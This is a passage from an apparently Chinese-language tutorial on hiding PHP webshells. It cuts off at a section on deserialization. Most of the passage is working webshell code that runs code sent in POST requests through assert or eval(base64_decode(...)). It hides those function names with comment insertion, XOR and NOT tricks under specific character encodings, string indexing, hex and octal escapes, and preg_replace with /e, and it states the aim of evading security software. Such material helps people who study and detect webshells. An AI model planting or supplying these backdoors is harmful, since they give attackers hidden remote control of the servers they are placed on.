正文
利用注释
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。
异或运算&字符编码
这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。
$y=~督耽孩^'(1987)';
$y($_POST[1987]);
上述的代码需要以
GBK
的方式保存,其中的
$y
的值为
assert
,这样就是一个典型的webshell了。
还有如下这种:
$x=~Ÿ¬¬º«;
$x($_POST[~¹¹ÏÏÏÏ]);
上述的代码需要以
ISO-8859-15
保存,其中的
$x
为
assert
,而
~¹¹ÏÏÏÏ
是
FF0000
。即使是这种方式,部分的防护软件还是能够识别。
eval&base64_decode变形
通过对大量的webshell分析,发现很多的webshell其实都是
eval(base64_decode($_POST[cmd]))
这种方式的变形。变形的核心思想其实就是将
base64_decode
、
$_POST
隐藏。下面就对这几种变形的方法进行说明。
字符串&数组的方式
这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。如下:
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
eval($s21($s22));
}
通过字符串
PCT4BA6ODSE_
得到,
$s21
为
base64_decode
,
$s22
为
${"_POST"}['n985de9']
,所以这种方式最后的代码其实就是
eval(base64_decode($_POST['n985de9']));
进制转换
这种方式在webshell中也是比较常见的。
$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....
其中
$v230c590
就是
base64_decode
,通过十六进制和八进制混用的方式代替
base64_decode
。还有如下这种形式
$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);
其中
\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
其实为
eval(gzuncompress(base64_decode(
也达到了隐藏敏感函数的目的。
反序列化执行
通过序列化的方式,我们也能够执行webshell。